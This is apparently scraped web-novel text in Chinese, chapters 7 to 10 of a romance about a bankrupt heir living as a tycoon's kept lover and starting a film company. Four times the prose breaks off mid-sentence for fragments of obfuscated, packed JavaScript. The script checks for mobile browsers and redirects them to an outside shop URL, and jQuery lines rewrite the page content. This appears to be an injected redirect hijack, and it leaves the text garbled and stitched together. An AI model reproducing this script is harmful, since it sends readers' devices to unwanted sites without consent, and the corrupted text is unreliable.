l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17193849|197116||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了碰他颧骨上的伤:“疼吗?” “你说呢。” 这不是废话。 霍少棠看了他一眼:“腿流血了也不知道擦一擦,我以为你连疼都不知道了。” 明昭顺着他的话低头一看,发现小腿果然在流血,白色袜子被鲜血染红了大半。 霍少棠倾身抓住明昭小腿,将他的腿放在中控台上,拿起旁边纱布替他把伤口裹住。 他显然没做过这种事,手法生疏。但他向来做什么事情都力求完美,即便第一次做这种事,也把纱布裹得规规矩矩,每一圈的纱布边都完美的贴合。 明昭任他摆弄自己的腿,拿手机给杨修岳发了个消息,告诉他自己有事,下次有时间再约。 杨修岳:【ok,发生什么事了吗?】 明昭漫不经心地打字:【打架伤到腿了,现在有点痛,休息一晚,明天再说吧。】 刚才霍少棠不说,他还没察觉到痛,现在却感到痛意越来越明显。 杨修岳沉默,觉得自己这个好像上了贼船。 哇,老板还是个爱打架的大学生耶! 前途黑得找不着北了。 杨修岳:【好好休息,身体是革命的本钱。】 明昭:【^_^】 杨修岳:…… 哇,老板还是个会用颜文字的大学生耶! 好像前途真的没救了。 杨修岳:【抱拳】 明昭忍不住笑了笑,觉得杨修岳太好玩了。 霍少棠给纱布打了个蝴蝶结,直起身正好看到他看着手机笑意未收,道:“和谁聊天?” “没谁。”明昭低头看了一眼自己腿上的蝴蝶结,挑眉:“这什么?” 霍少棠用湿纸巾擦了擦手,道:“很适合你。” 明昭:“哇,真有创意。” 心里翻了个白眼,闭起眼睛假寐。 正赶上晚高峰,一个多小时方才回到云锦华庭。 明昭从车上下来,走了两步停下来,低头看向贴着自己小腿的蝴蝶结:“你纱布绑的太紧,弄得我的腿很疼。” 明大少爷果然蛮不讲理,霍少棠缠纱布的烂技术,再松一点都能掉下来当脚链带了。 闻言,霍少棠挑了挑眉,没反驳他,反而一拎裤脚蹲在他跟前:“上来,背你上去。” 明昭看了看他宽阔的脊背,半点没有当金丝雀的自觉,弯腰趴在金主背上:“谢了,走吧。” 霍少棠身姿挺拔,高挑修长,看起来并不是强壮的身材,但背起明昭却毫不费力。 明昭捏了捏他的肩膀:“你身材还挺结实的嘛。” “你也不错,一挑五。”霍少棠道。 明昭啧了一声,这人还真是手眼通天,一个多小时,把今天的事儿都查到了。 也很肆无忌惮,调查自己还敢当面说出来。 明昭:“还行,谁让我仇人多。” “你挺自豪的。”霍少棠道。 明昭:“也不是什么羞耻的事,仇人多又不是情人多。” 霍少棠突然抬手拍了拍他没受伤的小腿:“你还想找情人?” 明昭今天穿了条黑色休闲短裤,霍少棠原本隔着裤子抓他的大腿,突然抬手拍了一下明昭的小腿,明昭这才发现他手指冰得吓人。 “哪敢,”明昭怕他这么乱动,一不小心给自己甩下去,抬起一只手搂住霍少棠的脖子,“我不就是小情么,可不敢再找小情。” 霍少棠沉默了两秒,明昭觉得他应该是认为自己说的有理。 果然霍少棠开口道:“不敢就好。” 8. 第 8 章 霍少棠家中有专门的诊疗室,里面摆着各色的医疗设备,药品琳琅满目堆满了一墙壁。 医生帮他做了一个全身体检。 除了小腿上的伤比较严重之外,身上都是小伤,只不过由于皮肤白显得很严重罢了。 医生将霍少棠方才缠的纱布解下来重新缠了一圈,令明昭格外看不顺眼的蝴蝶结总算消失。 等到医生离开,霍少棠走到医疗室的沙发边,抬眸望了明昭一眼:“过来,给你涂药。” 明昭看了他一眼,交叉掀起上衣下摆,二话没说就把卫衣脱了下来。 他拥有一具宛如塑像般的完美身材,肌肉薄而柔韧,线条优美,极具观赏性,裤腰松松垮垮地挂在他的腰胯间,露出一半性感的人鱼线。 可惜身上布满了伤痕和淤青,让人惋惜明玉有瑕。 数不完的伤痕和淤青遍布明昭白皙的皮肤,看着十分触目惊心。 明昭坐到沙发上,脑袋趴在沙发扶手,一只手拿着手机玩数独。 霍少棠挤出药膏,微微弯下腰,指腹沾着药膏从上往下抹在明昭后背。 细致地替明昭上完药,霍少棠看了一眼趴在沙发上快要睡着的明昭,拍了拍他的脑袋:“回去睡。” 明昭原本没什么困意的,都怪霍少棠动作太磨蹭。 明昭哦了一声,从沙发上起身往卧室走。 回到卧室,明昭方才感觉自己刚睡着躺下,微信语音突然响起来,他将脑袋蒙进被子里,不打算接什么语音电话。 由于没人接,铃声自动断掉。 在明昭迷迷糊糊又要睡着时,恼人的铃声复又响起。 明昭皱眉掀开被子,浑身冒着冷气接通语音:“讲。” “干嘛干嘛,这么凶,”孔卓高亢的声音从手机另一头传过来,“刚才你拿谁手机给我打电话?没发生什么事吧。” 最后一句隐隐带了点担忧。 明昭难得语气柔和下来:“没什么事,就是在学校打架了,那是我们辅导员电话。” “没受伤吧?谁他妈又犯贱来找你茬,看我回国不弄死他!”孔卓简直是个炮仗,明昭被他一惊一乍的声音弄得耳朵发疼。 明昭:“等你回来再说吧,在大洋彼岸除了我谁还能听到你放狠话。” “我下下个月就回国!我生日肯定是要在国内办的,我爸妈都同意了。”孔卓道。 明家和孔家作为几十年的合作伙伴,明昭和孔卓从小一起长大,长成了一对举世无双的混世魔王。 和明大少爷作为独苗被奶奶捧在手心里当眼珠子疼不同,孔卓作为孔家三公子,头上还有两个从小成绩优异,能力斐然的哥哥。 孔卓从小就过着爸爸训完大哥打,大哥打完二哥揍的生活,就算是最疼爱他的妈妈,每次看到他不务正业,被父兄训得时候都要在旁边帮腔。 过得不可不谓不惨。 等好不容易成年了,又被拎去国外留学,而发小明昭却选择留在国内,他即便很想撺掇明昭一起跑国外,但也知道明昭奶奶身体每况愈下,明昭压根不会跟着他一起。 果然大一的下学期,明昭的奶奶就离世了。 然后接踵而来的便是明家破产,再叫明昭过来和他一起上学更是不可能了。 在国外孔卓半点没有过上天高皇帝远的生活,反而更加水深火热。 至少在国内,他大哥二哥都已经不在老宅住,平时家里只有他和爸妈,他爸工作忙妈妈工作同样不闲,他在家过得还算舒心。 他二哥在国外开辟海外市场,买的房子离他学校不远,勒令他每天必须按时回家,只有周末能出去鬼混两天。 孔卓打小最怕的就是他二哥,他爸顶多训训他。他大哥比他大了十岁,看他跟看儿子差不多,被气狠了才会抽皮带打他。 但他二哥那简直不是亲哥的作风,下手毫不手软,孔卓从小被他打到大,听到他二哥名字就忍不住膝盖犯软想下跪。 现在成年了,他二哥训他还跟训狗似的,孔卓都怀疑他二哥养条狗,狗挨的训都不会比自己多。 说到生日,孔卓又道:“我过生日,你之前喜欢的我家老爷子的那个碧玉龙凤穿花香薰,送你怎么样。” 明昭轻哼了一声:“你过生日还是我过生日。” “我过生日不就是你过生日?”孔卓道。 明昭没吭声,孔卓清了清嗓子,有点不自在道:“这几天收拾家,卖了几个闲置的瓶子,钱我转你卡上了。” 明昭烟瘾有点上来,他走到阳台,坐在外边的躺椅上点了一根烟:“多少?” “一千多。”孔卓道。 单位当然是万。 明昭将手机搁在旁边的小桌上,抽了两口烟,声音有些含糊不清:“不会是把你家老爷子的瓶子也给卖了吧。” 明家刚破产的时候,孔卓担心明昭不习惯没钱的生活,二话没说往他卡上打了四千万,之后孔卓又前前后后卖了十几辆车,只留了最喜欢的两辆。 家里的一些他自己收藏的花瓶字画古董珠宝也卖了差不多。 孔卓笑了笑:“我家老爷子的瓶子卖出去就不止这个价了。” 明昭也笑了笑,道:“香薰炉的事再说,你之后别给我打钱了。” 另一头的孔卓顿了顿,脸上的笑容收敛,身子不由坐直,声音有些绷直:“昭儿,我说过了我的就是你的,你去六观庭,我现在也不劝你了,但我的钱你都不收了?” 他话说到最后,已经紧皱起眉,隐隐带着点怒气。 当初因为明昭去六观庭的事情,两个人吵了几天的架,又冷战了好几天,今天钟盛给孔卓打电话是他们两个长达一周来第一次说话。 “哦?”明昭笑道,“你现在不劝我了?我还以为你为了不让我干下去,打算撞墙明志了。” 孔卓没搭理明昭的打趣,道:“我劝了你就不干了?” 他仍然在生气,甚至想再次询问明昭为什么要管那些压根不关他事的事。 只是两个人因为这个事情吵过太多次,明昭又是决定了决不会更改的性子。两个人好不容易刚和好,他不想又再次吵架。 但出乎他意料的,明昭道:“我已经不干了。” 孔卓没忍住从椅子上跳起来:“真的? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17193850|197116||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' !” “骗你干嘛。”明昭说。 孔卓看他“迷途知返”,欣慰得都想哭了:“那地方乌烟瘴气,压根不适合你,早应该不干了。” 明昭啧了一声:“当初谁隔三差五去六观庭。” “我以后踏进六观庭一步我就是狗!”孔卓义正言辞地表明自己的立场。 随后孔卓又来劲儿:“昭儿,你去我爹公司当实习生吧。” 明昭第一次去找工作时,孔卓就跟他爸说过让明昭去他爸公司当实习生,一个月可以开两万的工资。 但明昭拒绝了。 一是六观庭的工作虽然鱼龙混杂,但一个月的工资加起来比两万可多上不知道多少倍。 二是明家还没有破产时,孔家和明家生意往来十分密切,明家破产,孔家的生意也没有好到哪里去,目前仍旧欠债不少。 明昭当然明白给一个还在上大学的实习生开两万的工资,不过是孔卓爸看在以往两家的关系上。明家破产前,孔家就已经给明家借了不少钱,加上现在明昭自己借孔卓的钱,加起来也是一笔不小的金额。 明昭:“不用了,我找了新工作。” “什么新工作?”孔卓瞬间警惕,怀疑他又找什么来钱快的酒吧夜场之类的工作。 明昭真不知道孔卓这个孔家最小的儿子,怎么生的一颗爱操心的性子。 他含糊其辞道:“反正肯定不会像六观庭一样伺候那么多老板了。” 现在卖出去了,就只用伺候一个。 孔卓一口气瞬间松了下来:“那就行,我说你就不是伺候人的命,找点轻松的兼职就行,这不是还有我罩着你呢么。” 明昭笑了笑:“人都是要长大的,我又不是什么皇帝命,以后打工也不过是伺候人的活。” 听他这么说,孔卓又想反驳他了,但一时间也不知道该怎么反驳。毕竟明昭说的是事实,明家破产了,明昭已经不再是大少爷了。 他有些蔫蔫的:“反正不在六观庭干就行。” 陪酒卖笑是明昭这个性格能做得来的事情吗?而且在那种地方待久了,或许哪一天就被人拐床上去了。 明昭长大好看有目共睹,在六观庭那种地方就是羊入狼窝。 他一点也不想明昭去给人做什么挥之即来呼之即去的情人。 明昭又和他扯了几句后挂断语音,切出和孔卓的聊天记录,果然看到交易记录中银行卡新入账的一千四百万。 不是没有想过告诉孔卓自己现在跟了霍少棠的事情,但是孔卓那个性格,听到这个消息,绝对明天就能杀回国。 关键他来了也没用,他既不能像霍少棠那样出手大方,几十个亿打到自己的账上,更没有抗衡霍少棠的能力。 霍少棠要想包养他,别说孔卓不愿意不行,就连他自己不愿意估计都不行。 但这事儿肯定是要告诉孔卓,他欠的孔卓钱迟早要还回去,孔卓看他拿出那么大一笔钱不怀疑才怪。 况且以孔卓和他的关系,他也没法一直瞒着孔卓。 不过孔卓下下个月还要过生日,一切还是等到孔卓过完生日再说。 9. 第 9 章 次日清晨,霍少棠从卧室穿好衣装出来准备去公司,打开门正碰上旁边的明昭推开门,穿着一身休闲的长袖长裤一瘸一拐走出。 他挑了挑眉:“起这么早?” “早八。”明昭掀起眼皮看了他一眼,难得有些没精打采,平时鲜亮的羽毛都似乎黯淡了些。 霍少棠鲜少见到张牙舞爪的小猫这么蔫搭搭,抬步和明昭并肩往电梯走,抬手看了一眼表:“还有三十分钟,你要迟到了。” 明昭耸了耸肩:“哦。” 霍少棠抬手漫不经心揉他头发,随口道:“脚疼就请两天假。” “一点小伤。”明昭不以为意,这人放在自己脑袋上的手比他脚上的伤还让他更让他发毛,像撸小猫的脑袋,让明昭一阵恶寒。 “不爱惜身体。”霍少棠道,然后吩咐佣人打包一份早餐到车上,“走吧,我顺道带你去学校。” “我叫了司机,”明昭道,“你上班和我上学顺路?” 相反的两个方向顺的哪门子的道。 霍少棠:“去考察城北的一块地。” 明昭看不出这人说的真话假话,也懒得去探究,跟着霍少棠坐上他加长版林肯。早餐已经放在车上的餐桌上,咖啡、煎蛋、牛排、沙拉和三明治。 明昭吃了一口三明治就放下了,他皱了皱眉,嘴角受的伤还没好,嚼起来有点疼。 明昭动作小心翼翼,霍少棠可能也发现了,抬手制止他的动作:“等会儿再吃。” 然后让司机拐了一个弯停在一家餐厅门口,门外已经等着的服务员看到他们的车,端着碗抹茶烤燕麦布丁和金丝燕窝粥上车。 明昭没什么胃口,边吃边玩手机。 霍少棠坐在他对面,靠着椅背抬眼看他心不在焉:“不好吃?” “疼。”明昭用手机点了点自己的唇角。 “早上擦过药没有?”霍少棠问。 明昭嗯了一声。 可能因为疼,这声嗯带着平时从未有过柔软……和一点委屈。 霍少棠放下手上的平板,慢悠悠开口:“几节课而已,你如果怕错过,可以请教授过来上课。” “没这么娇气。”明昭眼皮也不抬道。 霍少棠突然轻笑一声:“真厉害。” 这人说话真欠揍,阴阳怪气的。明昭舌尖顶了顶后槽牙,凝眉一会儿,突然一笑,对霍少棠抬抬手指:“我有话跟你说,坐我旁边。” “哦?”霍少棠浅笑未褪,“就这么说。” 明昭再次道:“能不能过来?” 明明是询问的口吻,却一副颐指气使的语气,霍少棠觉得好笑,起身坐到他身边:“怎么?” 他一坐过来,明昭笑意加深,纤长的眼睫似乎都生动起来,他抓住霍少棠的手,捏了捏他的指节:“你的手真好看。” 霍少棠:“还行。” 然后霍少棠看到明昭将他的手抬到唇边,唇角摩挲着他的虎口,他垂着脑袋,霍少棠看到他头顶小小的发旋。如果是其他人这么动作,霍少棠不会怀疑这人在讨好自己,可现在这么做的是只睚眦必报的小猫…… 果然下一秒,明昭狠狠咬住他的虎口! 霍少棠静静看着他咬完又松口,原本干净的手上已经浮现一个深得几乎见红的牙印,牙印周围还黏糊着几丝留下的津液。 霍少棠看了几秒,拿过桌上的纸巾慢条斯理擦了擦手。扔掉纸巾,霍少棠捏住明昭下巴将他脸抬起:“牙尖嘴利。” 昨天半肿的脸消下去了一些,然而唇角伤留下的瘀青看着比昨天严重不少,明昭咬他的时候下了狠劲儿,本来就疼的嘴角更疼了。 明昭并不将这点疼痛放在心上,反而笑意更大了:“谁让你笑话我。” “记仇。”霍少棠放开他的下巴, 明昭:“我咬的可是左手。” 霍少棠挑了挑眉:“谢谢你口下留情了。” “客气。”明昭心里那口气总算顺畅了些。 看到他这么得意,霍少棠眯了眯眼,手指抓住他的脖颈压向自己:“你胆子太大了。” “这话你说过了,”明昭眨了眨眼:“只是胆子大一点,这张脸你就不喜欢了吗?” 霍少棠捏了捏他的脖颈,用了点力气,语气轻飘飘,却不怒自威:“我更喜欢听话的小猫。” 明昭冷哼一声,拍开他的手:“那你找错人了。” 明昭又恢复往常冷冰冰的表情,病容都被压在这冷漠的神情之下,双目冷艳逼人。 太扎手了。 但确实有一张深受幸运女神偏爱的脸。 霍少棠看了他几秒,突然笑了笑:“哪来这么大的气性。” 明昭没说话,冷着脸一直到了教学楼下。 霍少棠看着他一瘸一拐地走远,清晨的凉风吹起他长衣下摆,高挑的身形在人流中似张薄薄的纸片。 考察城北的事并不是骗明昭的,霍少棠和几个政府部门的高官看完地,一起顺道用了午饭。 从餐厅出来,秘书邓念将下午的工作安排发到他的邮箱,同时坐在他对面又将工作安排陈述一遍,听到下午三点的一个商业聚餐时,霍少棠抬眉:“都有谁?” 邓念将人员名单念了一遍,一些霍少棠可能不认识的人,她也细心地在念完人名之后将人员身份告知。 念到一个人名时,霍少棠抬手示意她停下:“周会贤?” 邓念对他虎口上牙印视而不见,声线依旧平静沉稳:“方合家具的董事长。” “他是不是有个叫周予行的儿子?”霍少棠问。 “是的,是他的四儿子。”邓念没有丝毫停顿地回复。 “周予行手上有一幅《共振》,买了今晚送过来,”霍少棠道,“让刘闵阳去办。” 刘闵阳是霍少棠另一个秘书。 邓念应了声是,又问:“那下午的午宴?” “推了。”霍少棠道,“邢森上次是不是要约我时间?” 邓念点头:“他新港湾的项目希望我们注资。” 霍少棠:“把下午三点的时间排给他。” 邓念:“好的。” 霍氏占据着市中心三栋高楼,霍少棠办公室在其中一栋高楼的顶楼,最顶层停着他两架私人飞机。邢森的办公室离霍氏的办公楼将近十公里,霍少棠偶尔乘坐私人飞机从云锦华庭去上班,总会经过他办公室上空。 十公里在燕城这个大城市是短距离,但就是这么短的距离,他从约霍少棠到真正见到他,整整过了大半个月。 这位大忙人留给他的时间不过四十分钟,等他讲完项目规划,霍少棠问了几个问题,听完他的回答说了几句客套话,邢森没从他的话中听出他的倾向,正准备再多说几句争取争取。 霍少棠却已经站起来:“邢总,你的意思我都明白了,这个项目我会考虑。时间不早,我还得去接小孩放学,今日劳你远驾。” 虽然和这位爷仅有过一次合同,在合作期间也多是和他的下属对接,没跟这位爷有过几次接触。不过但凡在燕城商 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17193851|197116||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 界混的恐怕没人不研究过霍少棠的行事作风,邢森十分清楚霍少棠的秉性,明白话再多下去只会惹他厌烦。 于是笑笑,跟着霍少棠转了话题:“霍总什么时候带小孩了?” 两人一起并肩往外走,霍少棠整了整袖口,笑道:“刚养的小孩。” 邢森没听过霍少棠有什么私生子,这位爷私生活干干净净,不少人送美人到他跟前都不为所动,问他得到的也只是一句不疼不痒的不合眼缘。 也不知道这位爷的眼缘在哪里。 如果不是私生子,那就是霍家的小孩了,从前听闻霍家的小孩见了霍少棠都像老鼠见了猫,霍少棠对他们也是一视同仁的不苟言笑,只有几个能力极其出挑的小辈能够得到他一句不错的夸赞。 邢森心中暗惊,不知道是谁这么好运气能得到霍少棠的青眼。 还需要人接的年纪就能够得到霍少棠偏爱,也不知得有多出众的智商和情商,长得多玉雪可爱,未来简直不可限量。 他暗暗记下,准备回去好好查查霍家最近哪个小孩得到了掌权人如此浓重的宠爱。 邢森压下心中的震惊,面上维持着和方才一般无二的笑容,恭维道:“霍总百忙中还去接送,孩子肯定开心。” 霍少棠有些无奈:“孩子脾气大,今天惹生气了,不去哄哄恐怕得几天不理人。” “孩子年纪小有时候是有些爱生气,但毕竟是小孩,气来得快去得也快。”邢森道。 心里却更是震惊,哪里的小孩还敢和霍少棠生气。这也就算了,这位爷以秒计金银的时间,竟然就因为小孩闹脾气亲自去接。 霍少棠笑着摇头:“小孩被惯得无法无天,不好哄。” 这种大家族出来的小孩哪个不被惯得无法无天,邢森教育自己孩子都头疼不已。 不过说到无法无天还得数当初明家的大少爷。那个真的是个大魔王,邢森这个不怎么关注小辈的人,都听过这位大少爷不少“光辉伟绩”,不是今天打了这个就是昨天揍了那个,什么去玩深水抱石,什么喝酒开车开进沟里,什么成年第一天去潜水差点死海里。 邢森听着都替明添宏心梗,也不知道明添宏怎么忍得住不动拳头,真的是忍者。 不过霍少棠养的小孩再怎么不服管教,也不会有明家那位少爷十分之一的无法无天。 邢森觉得霍少棠现在就是刚养小孩,对小孩正是热情上头的时候,舍不得打骂,不然就凭这位爷滔天的权势,这小孩的爸妈早就给教训好了。 而且也不见得这小孩在霍少棠面前能有多大气性,不过是点小孩子脾气,是霍少棠自己从来没有被人忤逆过,才觉得小孩气性大。 现在霍少棠过去接一趟,有再大的气都消了,小孩子就是这样,见到的时候肯定又黏黏糊糊的抱上来。 这么想来,这孩子应该才上幼儿园的年纪,再大一点的,懂事了哪里会不知道霍少棠的身份,怎么敢生霍少棠的气,害怕讨好都来不及。 邢森看出霍少棠对这孩子的喜欢,顺着他的话继续恭维道:“有点脾气的小孩才生动,孩子还是活泼点好。” “倒是不怎么活泼,”霍少棠笑道,“生动确实是很生动。” “那就是最好的孩子了,孩子嘛灵气生动最重要。”邢森道。 等和霍少棠分开,邢森一上车立即吩咐秘书去查霍少棠最近接了霍家哪个孩子养在身边,孩子爸妈是谁。 能养出一个得到霍少棠喜欢的孩子,以后必然扶摇直上,多多往来必不可少。 10. 第 10 章 邢森猜错了,小孩不仅没有黏黏糊糊地抱上来,反而连个人影霍少棠都没见着。 “在哪?”霍少棠戴着耳机,对电话那头问道。 小孩一点黏糊服软的劲头儿都没有,语气冷冷:“干嘛。” “我在你们学校。”霍少棠说。 电话那头装模作样“咦”了一声:“你来我们学校有什么事?有事打什么我的电话。” 霍少棠简直要被他气笑了:“大少爷,我来接你回家,你说呢。” “你不早说,”明昭不紧不慢道,“我已经走了。” 霍少棠挑了挑眉:“离你下课刚过五分钟。” 走路五分钟都到不了学校停车场。 “我翘课了不行?”明昭理直气壮。 “怎么不行,”霍少棠道,“到家了?” 明昭:“不回家。” 养小猫确实能锻炼人,霍少棠觉得耐心好了太多了:“去哪了?” “我不是在坐牢吧?下课了只能回家?”明昭道。 霍少棠:“……今晚还回不回家。” “应该。”明昭道。 霍少棠:“什么是应该。” “就是不知道,我还有事,挂了。”然后毫不犹豫立刻挂断。 霍少棠被看着被挂断的电话,气笑了,这哪里是有点脾气的小孩,简直反了天。 一旁充当司机的杨修岳,车子刚刚发动,就听到明昭接了电话开始胡说八道,等明昭挂断电话立即打趣道:“哟,老板,家属查岗啊,女孩生气可不好哄。” 明昭戴着耳机,杨修岳并不知道对面是谁,他也没往霍少棠身上想。即便之前是在霍少棠家里见的明昭。 明昭这么大的脾气,霍少棠那么强势的人怎么可能会找这样的对象或者情人,况且如果电话那头真的是霍少棠,明昭估计也不会这么说话。 真的有人敢和那位爷这么说话吗? 杨修岳不信。 反正他是没见过。 明昭嗤了一声:“我还没做过哄人的那个。” 杨修岳闻言,抽空给他竖了个大拇指:“大少爷,你是真的大少爷。” 大少爷敲了敲中控台:“废话这么多,开你的车。” 扶着脚伤的大少爷从车上下来,杨修岳觉得这哪里是大少爷,分明是皇帝,自己这搀扶的样子像皇帝身边的大太监。 他头回当“太监”,还有点不适应,这位爷当皇帝当得得心应手,支使他支使得理所当然。 步子慢了几步,皇帝开口道:“太慢了,快一点。” 杨修岳提高脚步,觉得明昭这个烂脾气,还能活到现在除了依靠明家,还得庆幸他长了这张脸。不然怎么明家破产了,自己还对大少爷的支使毫无怨言。 杨修岳这几天都在忙公司成立的发展规划,今天更是只吃了一顿早饭,下午准备吃中午饭时被大少爷一个电话,捞了车钥匙就去接少爷放学,此时饿坏了。 他吃得差不多才发现大少爷几乎没怎么动过筷子,杨修岳用餐巾擦了擦唇角,抬起眼看向明昭:“不合口味吗?” 他觉得挺好吃啊,而且餐厅还是明昭订的。 明昭指了指自己的嘴角:“疼。” 杨修岳点点头,他又拿筷子吃了几口,方才开口聊起正事。 两人都打算先投资拍一部商业电影,同时签几个有潜力的男女艺人,最好电影的男女主角和主要配角都是他们公司签的艺人,把电影的利益最大化。 两人聊完公司成立的筹备事宜,话题又绕回电影拍摄。 杨修岳的想法是找大导演,明昭却摇头不赞同,认为大导演们年纪已经不行,最重要的是创作能力已经不行。 “找个好本子,让老牌导演操刀拍摄。第一部影片对我们至关重要,放到年轻导演手上就是最大的赌博。”杨修岳道,“明总,年轻人还是要戒赌。” 明朝勾起一边嘴角冷笑道:“娱乐圈这个大染缸,我是不相信都快退休了的老导演们还有什么心气去打造一部成功的足够吸引人的商业电影,所谓的高票房不过是靠影星们的号召力。” “一口气吃不成胖子,或许请有票房号召力主演,我们签的艺人塞进去当配角,比捧完全生脸的艺人当主角更安全。”杨修岳又突然有些改变主意道。 “本子足够优秀,加之宣传到位排片充足,就够了。”明昭道。 明昭笑了笑:“我要我签的男女主角和导演一鸣惊人。” 杨修岳眉头皱起,明昭太傲了也太自负了,好导演好演员几十年难得一遇,哪有都被他们碰上的道理,明昭这么折腾影片上映之日就是公司破产之时。 “不行,太冒险了,”杨修岳没忍住抽了根烟,“这跟把钱扔给路边的乞丐有什么区别,你还能指望你路边随意施舍的一个乞丐将来能够真的成为绩优股,给你赚钱吗?” 说完,他又向明昭逐一对比分析利弊,杨修岳讲得口干舌燥,发现大少爷仍旧八风不动,显然没有将他的话听进去。 果然,明昭一锤定音道:“你好好筹备公司成立的事,找导演和演员的事情交给我。” 杨修岳眼皮跳了跳,如果不是刚才吃饭前两个人签了合伙协议,他觉得现在自己应该毫不犹豫跳下贼船! 他深呼了两口气:“你上哪找导演和演员。” “我自有我的办法。”明昭从椅子上站起来,对杨修岳抬抬手:“走了。” 杨修岳认命地走过去扶住他:“明总,既然这样不如两部电影一起拍,一部请全新的面孔,另一部请大导演大明星们。” “没钱。”明昭言简意赅。 杨修岳:“……” 还真是一个让人没法反驳的理由,杨修岳被噎住,过了一会儿又道:“霍氏呢?” “成立公司和拍一部影片是霍少棠给的所有的钱了,”明昭摊了摊手,“你以为霍少棠是我爹啊,还给我闲钱去找大导演大演员。” 杨修岳:“……” 所以这才是不请名导和一线演员的原因吧!说什么要捧新星…… 明昭这个睁眼说瞎话的本事除了这张脸之外,真是意外的适合生意场,也适合娱乐圈。 杨修岳简直欲哭无泪了:“明总,我们公司能撑过一年吗?” “肯定可以,”明昭笑眯眯道,“从电影拍摄到上映肯定超过一年。” 说着拍了拍他的肩:“一定不让你当一年的亡国之君。” “别别别,您是君,我这是把命都交给皇上您了。”杨修岳一句三叹道。 两人走到餐厅门口,餐厅泊车的服务生已经将杨修岳的车提前停好,见到他出来,恭敬地将车钥匙交给杨修岳。 杨修岳准备扶着明昭上车,明昭将胳膊从他手上抽出:“时间不早了,我打车回去,你不用送我。” 杨修岳打量了一下他的腿:“你这腿能行吗?” “有什么不行的,”他让杨修岳扶着,只是秉着不使唤白不使唤的心,“我已经打好车了,一会儿到。” 杨修岳没跟他争,等明昭坐上车,他也立即拉开车门驱车回家。 回到云锦华庭,已经将近凌晨十二点,主栋别墅仍旧灯火通明,明昭走到一楼大厅,发 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17193852|197116||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 现霍少棠正坐在沙发上用平板处理工作,戴了副平时不常戴的平光镜。 听到脚步声,霍少棠抬眼望过来,明亮的灯光折射在镜片上,让人看不清他镜片之下的目光。 “过来。”霍少棠冲明昭抬手。 明昭看了他一眼,沉吟片刻走到他旁边坐下。 霍少棠目光仍放在手上的平板上,一边伸手漫不经心摩挲着明昭的脸:“回来得这么早?” 明昭立即站起来:“那我走了。” 霍少棠抬手抓住他的手腕,目光从面前的工作报表上移开:“怎么还在生气。” 他用了点劲将站着明昭拉到身边坐下,因为坐得过近,两人的大腿膝盖紧紧挨着,霍少棠将手上的平板扔在一边。手放在明昭脖颈后不轻不重地捏着,仿若在揉弄宠物猫的脖颈:“不是喜欢那副……” 话突然停下,霍少棠双目微微眯起:“喷了新香水?” 明昭从长相到气质都十分冷感,冷淡的锐利似乎能刺伤人,却偏爱用女香。 他惯常使用兰花香,有些甜调的香水撒在他身上仿若是茫茫孤寂雪原上的一缕新芽。 闻言,明昭低头闻了闻领口,然后不以为意道:“杨修岳的香水。” “原来是谈工作去了。”霍少棠道。 明昭嗯了一声,手指闲不住地勾着沙发布的流苏:“我想租流金大厦33层做办公楼。” “挺不错的地段。”霍少棠道。 明昭眨了眨眼:“就是有点贵。” 霍少棠:“是挺贵。” “我听说他们老板和你交情不错。”明昭抓起他的手,碰了碰今天被自己咬出牙印,“疼吗?” 这人真是大少爷做久了,求人连服一句软都不肯。 “疼得今天一天没拿笔。”霍少棠道。 咬的是左手,拿哪门子的笔。 明昭咽下到嘴边的话:“等会儿给你涂药。” “免了,我怕等会儿大少爷不高兴又咬一口。”霍少棠道。 明昭啧了一声:“我又不是狗。” “是猫,”霍少棠道,“等会儿我把他微信推给你,你自己跟他联系。” 推名片能看推荐人,明昭想了想勉为其难同意了。他拍了拍霍少棠腿:“快点现在推,你等会儿忘了。” 然后在旁边亲眼盯着霍少棠将流金大厦老板的名片推给他。 提示声响起,明昭立即点开分享的名片,申请添加好友。 明昭心满意足收起手机,从沙发上站起来:“困了,回去睡觉。” “过河拆桥。”霍少棠跟着他站起来,两人坐电梯上三楼。 明昭佯作无辜地看着他:“我怎么听不懂你说什么。” “意思是你身上的香水不好闻,”霍少棠勾住他的领口拍了拍,淡淡道,“下次最好不要沾上。” “确实不好闻。”明昭点点头。 明昭难得和他达成一致,他也不喜欢这个香水味,像一块腐烂的木头。不过今天是杨修岳扶了他一路,沾上这味儿还真怨不了杨修岳。 